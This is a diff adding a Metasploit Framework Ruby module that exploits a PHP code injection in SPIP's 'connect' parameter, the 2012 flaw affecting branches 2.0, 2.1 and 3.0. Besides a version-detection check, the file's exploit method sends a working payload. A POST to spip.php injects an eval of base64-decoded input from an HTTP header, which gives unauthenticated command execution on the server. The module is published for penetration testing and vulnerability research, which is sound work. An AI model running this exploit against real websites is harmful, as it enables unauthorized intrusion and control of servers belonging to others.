|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'SPIP connect Parameter PHP Injection', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a PHP code injection in SPIP. The vulnerability exists in the |
| 19 | + connect parameter and allows an unauthenticated user to execute arbitrary commands |
| 20 | + with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions |
| 21 | + are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and |
| 22 | + has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu |
| 23 | + and Fedora linux distributions. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Arnaud Pachot', #Initial discovery |
| 28 | + 'Davy Douhine and Frederic Cikala', #PoC |
| 29 | + 'Davy Douhine', #MSF module |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'OSVDB', '83543' ], |
| 35 | + [ 'BID', '54292' ], |
| 36 | + [ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ] |
| 37 | + ], |
| 38 | + 'Privileged' => false, |
| 39 | + 'Platform' => ['php'], |
| 40 | + 'Arch' => ARCH_PHP, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Automatic', { } ] |
| 44 | + ], |
| 45 | + 'DefaultTarget' => 0, |
| 46 | + 'DisclosureDate' => 'Jul 04 2012')) |
| 47 | + |
| 48 | + register_options( |
| 49 | + [ |
| 50 | + OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']), |
| 51 | + ], self.class) |
| 52 | + end |
| 53 | + |
| 54 | + def check |
| 55 | + version = nil |
| 56 | + uri = normalize_uri(target_uri.path, "spip.php") |
| 57 | + |
| 58 | + res = send_request_cgi({ 'uri' => "#{uri}" }) |
| 59 | + |
| 60 | + if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/ |
| 61 | + version = $1 |
| 62 | + end |
| 63 | + |
| 64 | + if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/ |
| 65 | + version = $1 |
| 66 | + end |
| 67 | + |
| 68 | + if version.nil? |
| 69 | + return Exploit::CheckCode::Unknown |
| 70 | + end |
| 71 | + |
| 72 | + vprint_status("SPIP Version detected: #{version}") |
| 73 | + |
| 74 | + if version =~ /^2\.0/ and version < "2.0.21" |
| 75 | + return Exploit::CheckCode::Vulnerable |
| 76 | + elsif version =~ /^2\.1/ and version < "2.1.16" |
| 77 | + return Exploit::CheckCode::Appears |
| 78 | + elsif version =~ /^3\.0/ and version < "3.0.3" |
| 79 | + return Exploit::CheckCode::Appears |
| 80 | + end |
| 81 | + |
| 82 | + return Exploit::CheckCode::Safe |
| 83 | + |
| 84 | + end |
| 85 | + |
| 86 | + def exploit |
| 87 | + uri = normalize_uri(target_uri.path, 'spip.php') |
| 88 | + print_status("#{rhost}:#{rport} - Attempting to exploit...") |
| 89 | + res = send_request_cgi( |
| 90 | + { |
| 91 | + 'uri' => uri, |
| 92 | + 'method' => 'POST', |
| 93 | + 'vars_post' => { |
| 94 | + 'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>", |
| 95 | + }, |
| 96 | + 'headers' => { |
| 97 | + 'Cmd' => Rex::Text.encode_base64(payload.encoded) |
| 98 | + } |
| 99 | + }) |
| 100 | + end |
| 101 | + |
| 102 | +end |
0 commit comments